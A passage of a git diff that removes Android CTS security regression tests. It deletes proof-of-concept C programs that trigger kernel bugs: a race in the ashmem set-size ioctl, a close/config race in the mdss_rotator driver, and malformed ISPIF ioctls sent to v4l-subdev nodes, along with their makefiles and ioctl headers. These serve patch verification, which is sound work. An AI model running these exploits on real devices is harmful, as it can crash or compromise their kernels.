-#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
-#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
-#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
-
-/*
- * Direction bits, which any architecture can choose to override
- * before including this file.
- */
-
-#ifndef _IOC_NONE
-# define _IOC_NONE      0U
-#endif
-
-#ifndef _IOC_WRITE
-# define _IOC_WRITE     1U
-#endif
-
-#ifndef _IOC_READ
-# define _IOC_READ      2U
-#endif
-
-
-
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#define _IOC(dir,type,nr,size) \
-        (((dir)  << _IOC_DIRSHIFT) | \
-         ((type) << _IOC_TYPESHIFT) | \
-         ((nr)   << _IOC_NRSHIFT) | \
-         ((size) << _IOC_SIZESHIFT))
-
-
-
-/* used to create numbers */
-#define _IO(type,nr)            _IOC(_IOC_NONE,(type),(nr),0)
-#define _IOR(type,nr,size)      _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOW(type,nr,size)      _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOWR(type,nr,size)     _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-
-#endif
-
diff --git a/hostsidetests/security/securityPatch/Bug-34173755/poc.c b/hostsidetests/security/securityPatch/Bug-34173755/poc.c
deleted file mode 100644
index 6ec4efd..0000000
--- a/hostsidetests/security/securityPatch/Bug-34173755/poc.c
+++ /dev/null
@@ -1,155 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <linux/ashmem.h>
-#include <pthread.h>
-#include <sched.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#include "local_poc.h"
-
-#define ASHMEM_CACHE_CLEAN_RANGE _IO(__ASHMEMIOC, 12)
-#define ASHMEM_CACHE_FLUSH_RANGE _IO(__ASHMEMIOC, 11)
-#define ASHMEM_CACHE_INV_RANGE _IO(__ASHMEMIOC, 13)
-
-int fd;
-void *addr;
-pthread_barrier_t barr;
-
-int thread_mmap_status = 0;
-int thread_set_size_status = 0;
-
-void *thread_mmap(void *);
-void *thread_set_size(void *);
-
-#define ORI_SIZE 4096 * 10
-
-#define OVERFLOW_SIZE 0xFFFFFFFFFFFFFFFF - ORI_SIZE
-
-int main(int argc, char **argv) {
-  int ret;
-  int i;
-  pthread_t tid[2];
-  struct stat st;
-  const char *name = "_crash";
-  struct ashmem_pin pin;
-  char *buf;
-  int size;
-  void *map_again;
-  void *map_buf[100];
-  pid_t pid;
-
-  for (i = 0; i < 10; i++) {
-    map_buf[i] =
-        mmap(NULL, 4096 * 100, PROT_READ | PROT_WRITE,
-             MAP_PRIVATE | MAP_ANONYMOUS | MAP_ANON | MAP_GROWSDOWN, -1, 0);
-    memset((char *)map_buf[i], 0x0, 4096 * 99);
-  }
-
-  while (1) {
-    pthread_barrier_init(&barr, NULL, 2);
-    thread_mmap_status = 0;
-    thread_set_size_status = 0;
-
-    fd = open("/dev/ashmem", O_RDWR);
-    if (fd < 0) {
-      return 0;
-    }
-
-    ret = ioctl(fd, ASHMEM_SET_SIZE, ORI_SIZE);
-    if (ret < 0) {
-      if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
-      close(fd);
-      continue;
-    }
-
-    ret = pthread_create(&tid[0], NULL, thread_mmap, NULL);
-    if (ret != 0) {
-      if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
-      close(fd);
-      return -1;
-    }
-
-    ret = pthread_create(&tid[1], NULL, thread_set_size, NULL);
-    if (ret != 0) {
-      if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
-      close(fd);
-      return -1;
-    }
-
-    pthread_join(tid[0], NULL);
-    pthread_join(tid[1], NULL);
-
-    errno = 0;
-    size = ioctl(fd, ASHMEM_GET_SIZE, 0);
-    if (size == (unsigned int)OVERFLOW_SIZE && addr != MAP_FAILED) break;
-  }
-
-  map_again = mmap(NULL, ORI_SIZE, PROT_READ | PROT_WRITE,
-                   MAP_SHARED | MAP_NORESERVE, fd, 0);
-
-  munmap(addr, ORI_SIZE);
-
-  for (i = 0; i < 10; i++) {
-    munmap(map_buf[i], 4096 * 100);
-  }
-
-  pid = fork();
-  if (pid == 0) {
-    for (i = 0; i < 1000; i++)
-      mmap(NULL, 4096 * 100, PROT_READ | PROT_WRITE,
-           MAP_PRIVATE | MAP_ANONYMOUS | MAP_ANON | MAP_GROWSDOWN, -1, 0);
-    memset((char *)map_buf[i], 0x0, 4096 * 99);
-
-    return 0;
-  }
-  sleep(4);
-
-  ret = ioctl(fd, ASHMEM_CACHE_CLEAN_RANGE, 0);
-
-  ret = ioctl(fd, ASHMEM_CACHE_FLUSH_RANGE, 0);
-  ret = ioctl(fd, ASHMEM_CACHE_INV_RANGE, 0);
-  munmap(map_again, ORI_SIZE);
-  close(fd);
-
-  return 0;
-}
-
-void *thread_mmap(void *arg) {
-  pthread_barrier_wait(&barr);
-  addr = mmap(NULL, ORI_SIZE, PROT_READ | PROT_WRITE,
-              MAP_SHARED | MAP_NORESERVE, fd, 0);
-
-  return NULL;
-}
-
-void *thread_set_size(void *arg) {
-  pthread_barrier_wait(&barr);
-  ioctl(fd, ASHMEM_SET_SIZE, OVERFLOW_SIZE);
-
-  return NULL;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-34328139/Android.mk b/hostsidetests/security/securityPatch/Bug-34328139/Android.mk
deleted file mode 100644
index bbdeb63..0000000
--- a/hostsidetests/security/securityPatch/Bug-34328139/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-34328139
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact                                                                             
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-34328139/local_poc.h b/hostsidetests/security/securityPatch/Bug-34328139/local_poc.h
deleted file mode 100644
index c14a36b..0000000
--- a/hostsidetests/security/securityPatch/Bug-34328139/local_poc.h
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __CMD_H__
-#define __CMD_H__
-
-#define _IOC_NRBITS     8
-#define _IOC_TYPEBITS   8
-
-#ifndef _IOC_SIZEBITS
-# define _IOC_SIZEBITS  14
-#endif
-
-#ifndef _IOC_DIRBITS
-# define _IOC_DIRBITS   2
-#endif
-
-#define _IOC_NRMASK     ((1 << _IOC_NRBITS)-1)
-#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
-#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
-#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
-
-#define _IOC_NRSHIFT    0
-#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
-#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
-#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
-
-#ifndef _IOC_NONE
-# define _IOC_NONE      0U
-#endif
-
-#ifndef _IOC_WRITE
-# define _IOC_WRITE     1U
-#endif
-
-#ifndef _IOC_READ
-# define _IOC_READ      2U
-#endif
-
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#define _IOC(dir,type,nr,size) \
-        (((dir)  << _IOC_DIRSHIFT) | \
-         ((type) << _IOC_TYPESHIFT) | \
-         ((nr)   << _IOC_NRSHIFT) | \
-         ((size) << _IOC_SIZESHIFT))
-
-
-#define _IO(type,nr)            _IOC(_IOC_NONE,(type),(nr),0)
-#define _IOR(type,nr,size)      _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOW(type,nr,size)      _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOWR(type,nr,size)     _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-
-
-
-struct mult_factor {
-	uint32_t numer;
-	uint32_t denom;
-};
-
-struct mdp_rotation_buf_info {
-	uint32_t width;
-	uint32_t height;
-	uint32_t format;
-	struct mult_factor comp_ratio;
-};
-
-struct mdp_rotation_config {
-	uint32_t	version;
-	uint32_t	session_id;
-	struct mdp_rotation_buf_info	input;
-	struct mdp_rotation_buf_info	output;
-	uint32_t	frame_rate;
-	uint32_t	flags;
-	uint32_t	reserved[6];
-};
-
-#define MDSS_ROTATOR_IOCTL_MAGIC 'w'
-
-#define MDSS_ROTATION_OPEN \
-	_IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 1, struct mdp_rotation_config *)
-
-#define MDSS_ROTATION_CONFIG \
-	_IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 2, struct mdp_rotation_config *)
-
-#define MDSS_ROTATION_CLOSE	_IOW(MDSS_ROTATOR_IOCTL_MAGIC, 4, unsigned int)
-#endif
diff --git a/hostsidetests/security/securityPatch/Bug-34328139/poc.c b/hostsidetests/security/securityPatch/Bug-34328139/poc.c
deleted file mode 100644
index 2d3558d..0000000
--- a/hostsidetests/security/securityPatch/Bug-34328139/poc.c
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <pthread.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <stdio.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <unistd.h>
-#include <string.h>
-#include "local_poc.h"
-
-
-int fd;
-struct mdp_rotation_config config;
-int id;
-int status[10];
-int cmd = 0;
-
-void *threadForConfig(void *arg)
-{
-    int index = (int) (unsigned long)arg;
-
-    status[index] = 1;
-
-    while (cmd != 1) {
-        usleep(10);
-    }
-
-    if (cmd == -1)
-        goto failed;
-
-    usleep(5 * index);
-    ioctl(fd, MDSS_ROTATION_CONFIG, &config);
-failed:
-    status[index] = 2;
-    return NULL;
-
-}
-
-void *threadForClose()
-{
-    status[0] = 1;
-
-    while (cmd != 1) {
-        usleep(10);
-    }
-
-     if (cmd == -1)
-        goto failed;
-
-    usleep(50);
-    ioctl(fd, MDSS_ROTATION_CLOSE, id);
-failed:
-    status[0] = 2;
-    return NULL;
-}
-
-int main()
-{
-    int ret, i, count;
-    pthread_t tid[5];
-    int p = 5;
-
-    count = 0;
-retry:
-    if (p-- > 0){
-        fork();
-    }
-
-    cmd = 0;
-    for (i = 0; i < 10; i++)
-        status[i] = 0;
-
-    fd = open("/dev/mdss_rotator", O_RDONLY, 0);
-    if (fd < 0) {
-         return -1;
-    }
-
-    ret = ioctl(fd, MDSS_ROTATION_OPEN, &config);
-    if (ret < 0) {
-            goto failed;
-    } else {
-        id = config.session_id;
-    }
-
-    ret = pthread_create(&tid[0], NULL, threadForClose, NULL);
-    if (ret != 0) {
-        goto failed;
-    }
-
-    for (i = 1; i < 10; i++) {
-        ret = pthread_create(&tid[1], NULL, threadForConfig, (void *)(unsigned long)i);
-        if (ret != 0) {
-            cmd = -1;
-            goto failed;
-        }
-    }
-
-    while (status[0] != 1 || status[1] != 1 || status[2] != 1
-        || status[3] != 1 || status[4] != 1 || status[5] != 1
-        || status[6] != 1 || status[7] != 1 || status[8] != 1
-        || status[9] != 1) {
-        usleep(50);
-    }
-
-    cmd = 1;
-    usleep(10);
-    ioctl(fd, MDSS_ROTATION_CONFIG, &config);
-
-    while (status[0] != 2 || status[1] != 2 || status[2] != 2
-        || status[3] != 2 || status[4] != 2 || status[5] != 2
-        || status[6] != 2 || status[7] != 2 || status[8] != 2
-        || status[9] != 2) {
-        usleep(50);
-    }
-
-failed:
-    close(fd);
-    goto retry;
-
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-34624155/Android.mk b/hostsidetests/security/securityPatch/Bug-34624155/Android.mk
deleted file mode 100644
index 95e8c24..0000000
--- a/hostsidetests/security/securityPatch/Bug-34624155/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
- include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-34624155
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-34624155/poc.c b/hostsidetests/security/securityPatch/Bug-34624155/poc.c
deleted file mode 100644
index eec9d20..0000000
--- a/hostsidetests/security/securityPatch/Bug-34624155/poc.c
+++ /dev/null
@@ -1,170 +0,0 @@
-/**

- * Copyright (C) 2017 The Android Open Source Project

- *

- * Licensed under the Apache License, Version 2.0 (the "License");

- * you may not use this file except in compliance with the License.

- * You may obtain a copy of the License at

- *

- *      http://www.apache.org/licenses/LICENSE-2.0

- *

- * Unless required by applicable law or agreed to in writing, software

- * distributed under the License is distributed on an "AS IS" BASIS,

- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

- * See the License for the specific language governing permissions and

- * limitations under the License.

- */

-

-#define _GNU_SOURCE

-#include <sys/types.h>

-#include <sys/wait.h>

-

-#include <fcntl.h>

-#include <stdbool.h>

-#include <stdio.h>

-#include <stdlib.h>

-#include <strings.h>

-#include <sys/ioctl.h>

-#include <sys/mman.h>

-#include <sys/stat.h>

-#include <unistd.h>

-

-#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */

-

-#define CSID_VERSION_V20 0x02000011

-#define CSID_VERSION_V22 0x02001000

-#define CSID_VERSION_V30 0x30000000

-#define CSID_VERSION_V3 0x30000000

-

-enum msm_ispif_vfe_intf { VFE0, VFE1, VFE_MAX };

-#define VFE0_MASK (1 << VFE0)

-#define VFE1_MASK (1 << VFE1)

-

-enum msm_ispif_intftype { PIX0, RDI0, PIX1, RDI1, RDI2, INTF_MAX };

-#define MAX_PARAM_ENTRIES (INTF_MAX * 2)

-#define MAX_CID_CH 8

-

-#define PIX0_MASK (1 << PIX0)

-#define PIX1_MASK (1 << PIX1)

-#define RDI0_MASK (1 << RDI0)

-#define RDI1_MASK (1 << RDI1)

-#define RDI2_MASK (1 << RDI2)

-

-enum msm_ispif_vc { VC0, VC1, VC2, VC3, VC_MAX };

-

-enum msm_ispif_cid {

-  CID0,

-  CID1,

-  CID2,

-  CID3,

-  CID4,

-  CID5,

-  CID6,

-  CID7,

-  CID8,

-  CID9,

-  CID10,

-  CID11,

-  CID12,

-  CID13,

-  CID14,

-  CID15,

-  CID_MAX

-};

-

-enum msm_ispif_csid { CSID0, CSID1, CSID2, CSID3, CSID_MAX };

-

-struct msm_ispif_params_entry {

-  enum msm_ispif_vfe_intf vfe_intf;

-  enum msm_ispif_intftype intftype;

-  int num_cids;

-  enum msm_ispif_cid cids[3];

-  enum msm_ispif_csid csid;

-  int crop_enable;

-  uint16_t crop_start_pixel;

-  uint16_t crop_end_pixel;

-};

-

-struct msm_ispif_param_data {

-  uint32_t num;

-  struct msm_ispif_params_entry entries[MAX_PARAM_ENTRIES];

-};

-

-struct msm_isp_info {

-  uint32_t max_resolution;

-  uint32_t id;

-  uint32_t ver;

-};

-

-struct msm_ispif_vfe_info {

-  int num_vfe;

-  struct msm_isp_info info[VFE_MAX];

-};

-

-enum ispif_cfg_type_t {

-  ISPIF_CLK_ENABLE,

-  ISPIF_CLK_DISABLE,

-  ISPIF_INIT,

-  ISPIF_CFG,

-  ISPIF_START_FRAME_BOUNDARY,

-  ISPIF_RESTART_FRAME_BOUNDARY,

-  ISPIF_STOP_FRAME_BOUNDARY,

-  ISPIF_STOP_IMMEDIATELY,

-  ISPIF_RELEASE,

-  ISPIF_ENABLE_REG_DUMP,

-  ISPIF_SET_VFE_INFO,

-};

-

-struct ispif_cfg_data {

-  enum ispif_cfg_type_t cfg_type;

-  union {

-    int reg_dump;                       /* ISPIF_ENABLE_REG_DUMP */

-    uint32_t csid_version;              /* ISPIF_INIT */

-    struct msm_ispif_vfe_info vfe_info; /* ISPIF_SET_VFE_INFO */

-    struct msm_ispif_param_data params; /* CFG, START, STOP */

-  };

-};

-

-#define VIDIOC_MSM_ISPIF_CFG \

-  _IOWR('V', BASE_VIDIOC_PRIVATE, struct ispif_cfg_data)

-

-static const int is_bullhead = 0;

-

-char *path_table[] = {

-    "/dev/v4l-subdev17",

-    "/dev/v4l-subdev15",

-};

-

-int main(void) {

-  char subdev[32] = {0};

-  int i, fd;

-

-  struct ispif_cfg_data pcdata = {0};

-  struct ispif_cfg_data pcdata1 = {0};

-

-  pcdata1.cfg_type = ISPIF_INIT;

-  pcdata1.csid_version = CSID_VERSION_V30;

-

-  pcdata.cfg_type = ISPIF_STOP_FRAME_BOUNDARY;

-  pcdata.params.num = 1;

-

-  for (i = 0; i < pcdata.params.num; i++) {

-    pcdata.params.entries[i].vfe_intf = 0x12345601;

-    pcdata.params.entries[i].num_cids = 2;

-  }

-

-  for (i = 0; i < 32; i++) {

-    if (snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i) < 0) {

-      exit(EXIT_FAILURE);

-    }

-

-    fd = open(subdev, O_RDWR);

-

-    if (fd > 0) {

-      ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &pcdata1);

-      ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &pcdata);

-      close(fd);

-    }

-

-    close(fd);

-  }

-}

diff --git a/hostsidetests/security/securityPatch/Bug-35047217/Android.mk b/hostsidetests/security/securityPatch/Bug-35047217/Android.mk
deleted file mode 100644
index f59c682..0000000
--- a/hostsidetests/security/securityPatch/Bug-35047217/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35047217
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35047217/local_poc.h b/hostsidetests/security/securityPatch/Bug-35047217/local_poc.h
deleted file mode 100644
index 889018d..0000000
--- a/hostsidetests/security/securityPatch/Bug-35047217/local_poc.h
+++ /dev/null
@@ -1,1759 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
-*/
-
-#ifndef _UAPI_MSM_IPA_H_
-#define _UAPI_MSM_IPA_H_
-
-#ifndef __KERNEL__
-#include <stdint.h>
-#include <stddef.h>
-#include <sys/stat.h>
-#endif
-#include <linux/ioctl.h>
-#include <linux/types.h>
-#include <linux/if_ether.h>
-
-/**
- * unique magic number of the IPA device
- */
-#define IPA_IOC_MAGIC 0xCF
-
-/**
- * name of the default routing tables for v4 and v6
- */
-#define IPA_DFLT_RT_TBL_NAME "ipa_dflt_rt"
-
-/**
- *   the commands supported by IPA driver
- */
-#define IPA_IOCTL_ADD_HDR            0
-#define IPA_IOCTL_DEL_HDR            1
-#define IPA_IOCTL_ADD_RT_RULE        2
-#define IPA_IOCTL_DEL_RT_RULE        3
-#define IPA_IOCTL_ADD_FLT_RULE       4
-#define IPA_IOCTL_DEL_FLT_RULE       5
-#define IPA_IOCTL_COMMIT_HDR         6
-#define IPA_IOCTL_RESET_HDR          7
-#define IPA_IOCTL_COMMIT_RT          8
-#define IPA_IOCTL_RESET_RT           9
-#define IPA_IOCTL_COMMIT_FLT        10
-#define IPA_IOCTL_RESET_FLT         11
-#define IPA_IOCTL_DUMP              12
-#define IPA_IOCTL_GET_RT_TBL        13
-#define IPA_IOCTL_PUT_RT_TBL        14
-#define IPA_IOCTL_COPY_HDR          15
-#define IPA_IOCTL_QUERY_INTF        16
-#define IPA_IOCTL_QUERY_INTF_TX_PROPS 17
-#define IPA_IOCTL_QUERY_INTF_RX_PROPS 18
-#define IPA_IOCTL_GET_HDR           19
-#define IPA_IOCTL_PUT_HDR           20
-#define IPA_IOCTL_SET_FLT        21
-#define IPA_IOCTL_ALLOC_NAT_MEM  22
-#define IPA_IOCTL_V4_INIT_NAT    23
-#define IPA_IOCTL_NAT_DMA        24
-#define IPA_IOCTL_V4_DEL_NAT     26
-#define IPA_IOCTL_PULL_MSG       27
-#define IPA_IOCTL_GET_NAT_OFFSET 28
-#define IPA_IOCTL_RM_ADD_DEPENDENCY 29
-#define IPA_IOCTL_RM_DEL_DEPENDENCY 30
-#define IPA_IOCTL_GENERATE_FLT_EQ 31
-#define IPA_IOCTL_QUERY_INTF_EXT_PROPS 32
-#define IPA_IOCTL_QUERY_EP_MAPPING 33
-#define IPA_IOCTL_QUERY_RT_TBL_INDEX 34
-#define IPA_IOCTL_WRITE_QMAPID 35
-#define IPA_IOCTL_MDFY_FLT_RULE 36
-#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD        37
-#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL        38
-#define IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED        39
-#define IPA_IOCTL_ADD_HDR_PROC_CTX 40
-#define IPA_IOCTL_DEL_HDR_PROC_CTX 41
-#define IPA_IOCTL_MDFY_RT_RULE 42
-#define IPA_IOCTL_ADD_RT_RULE_AFTER 43
-#define IPA_IOCTL_ADD_FLT_RULE_AFTER 44
-#define IPA_IOCTL_GET_HW_VERSION 45
-#define IPA_IOCTL_MAX 46
-
-/**
- * max size of the header to be inserted
- */
-#define IPA_HDR_MAX_SIZE 64
-
-/**
- * max size of the name of the resource (routing table, header)
- */
-#define IPA_RESOURCE_NAME_MAX 32
-
-/**
- * max number of interface properties
- */
-#define IPA_NUM_PROPS_MAX 35
-
-/**
- * size of the mac address
- */
-#define IPA_MAC_ADDR_SIZE  6
-
-/**
- * max number of mbim streams
- */
-#define IPA_MBIM_MAX_STREAM_NUM 8
-
-/**
- * the attributes of the rule (routing or filtering)
- */
-#define IPA_FLT_TOS                        (1ul << 0)
-#define IPA_FLT_PROTOCOL                (1ul << 1)
-#define IPA_FLT_SRC_ADDR                (1ul << 2)
-#define IPA_FLT_DST_ADDR                (1ul << 3)
-#define IPA_FLT_SRC_PORT_RANGE                (1ul << 4)
-#define IPA_FLT_DST_PORT_RANGE                (1ul << 5)
-#define IPA_FLT_TYPE                        (1ul << 6)
-#define IPA_FLT_CODE                        (1ul << 7)
-#define IPA_FLT_SPI                        (1ul << 8)
-#define IPA_FLT_SRC_PORT                (1ul << 9)
-#define IPA_FLT_DST_PORT                (1ul << 10)
-#define IPA_FLT_TC                        (1ul << 11)
-#define IPA_FLT_FLOW_LABEL                (1ul << 12)
-#define IPA_FLT_NEXT_HDR                (1ul << 13)
-#define IPA_FLT_META_DATA                (1ul << 14)
-#define IPA_FLT_FRAGMENT                (1ul << 15)
-#define IPA_FLT_TOS_MASKED                (1ul << 16)
-#define IPA_FLT_MAC_SRC_ADDR_ETHER_II        (1ul << 17)
-#define IPA_FLT_MAC_DST_ADDR_ETHER_II        (1ul << 18)
-#define IPA_FLT_MAC_SRC_ADDR_802_3        (1ul << 19)
-#define IPA_FLT_MAC_DST_ADDR_802_3        (1ul << 20)
-#define IPA_FLT_MAC_ETHER_TYPE                (1ul << 21)
-
-/**
- * enum ipa_client_type - names for the various IPA "clients"
- * these are from the perspective of the clients, for e.g.
- * HSIC1_PROD means HSIC client is the producer and IPA is the
- * consumer
- */
-enum ipa_client_type {
-        IPA_CLIENT_PROD,
-        IPA_CLIENT_HSIC1_PROD = IPA_CLIENT_PROD,
-        IPA_CLIENT_WLAN1_PROD,
-        IPA_CLIENT_HSIC2_PROD,
-        IPA_CLIENT_USB2_PROD,
-        IPA_CLIENT_HSIC3_PROD,
-        IPA_CLIENT_USB3_PROD,
-        IPA_CLIENT_HSIC4_PROD,
-        IPA_CLIENT_USB4_PROD,
-        IPA_CLIENT_HSIC5_PROD,
-        IPA_CLIENT_USB_PROD,
-        IPA_CLIENT_A5_WLAN_AMPDU_PROD,
-        IPA_CLIENT_A2_EMBEDDED_PROD,
-        IPA_CLIENT_A2_TETHERED_PROD,
-        IPA_CLIENT_APPS_LAN_WAN_PROD,
-        IPA_CLIENT_APPS_CMD_PROD,
